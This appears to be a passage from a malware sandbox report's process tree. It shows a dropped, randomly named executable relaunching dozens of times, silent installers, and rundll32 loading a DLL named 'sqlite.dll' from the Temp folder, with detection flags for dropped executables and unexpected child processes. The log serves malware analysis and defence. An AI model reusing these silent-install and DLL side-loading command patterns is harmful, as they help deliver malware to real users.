C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:7104
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:4884
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:7096
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:2376
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:7148
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:6808
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:6900
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:7496
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:7868
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7868 -s 244⤵
- Program crash
PID:7316
-
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:4756
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:7388
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:5916
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:3700
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:8068
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:6480
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:2248
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:8472
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:8816
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:9172
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:8792
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:7128
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:6980
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:8864
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:5460
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:9476
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:9772
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:10132
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:6872
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:9588
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:9812
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:4784
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:7584
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:1880
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:9836
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:5684
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:8728
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:256
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:6444
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:3980
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:688
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:10668
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:11092
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:6392
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:8000
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:10640
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:7628
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:10476
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:11456
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:12108
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:11436
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:12144
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:11700
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:9732
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:5116
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:10172
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:12560
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:12804
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:13148
-
-
-
C:\Users\Admin\Documents\0ewDTi9xZ1YaUhGoQjUw3nxH.exe"C:\Users\Admin\Documents\0ewDTi9xZ1YaUhGoQjUw3nxH.exe"2⤵
- Executes dropped EXE
PID:3640
-
-
C:\Users\Admin\Documents\2DLlSII8hkMGKQhDPEC1RbhX.exe"C:\Users\Admin\Documents\2DLlSII8hkMGKQhDPEC1RbhX.exe"2⤵PID:3024
-
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"3⤵PID:6968
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵PID:7024
-
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵PID:6992
-
-
-
C:\Users\Admin\Documents\ClVExHPQofjs7vPOBa00Ihiz.exe"C:\Users\Admin\Documents\ClVExHPQofjs7vPOBa00Ihiz.exe"2⤵PID:7628
-
C:\Users\Admin\AppData\Local\Temp\is-3N69S.tmp\ClVExHPQofjs7vPOBa00Ihiz.tmp"C:\Users\Admin\AppData\Local\Temp\is-3N69S.tmp\ClVExHPQofjs7vPOBa00Ihiz.tmp" /SL5="$30234,138429,56832,C:\Users\Admin\Documents\ClVExHPQofjs7vPOBa00Ihiz.exe"3⤵PID:7688
-
C:\Users\Admin\AppData\Local\Temp\is-HQ65K.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-HQ65K.tmp\Setup.exe" /Verysilent4⤵PID:9756
-
-
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe1⤵PID:4584
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe1⤵PID:4740
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6944 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:4496
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:6636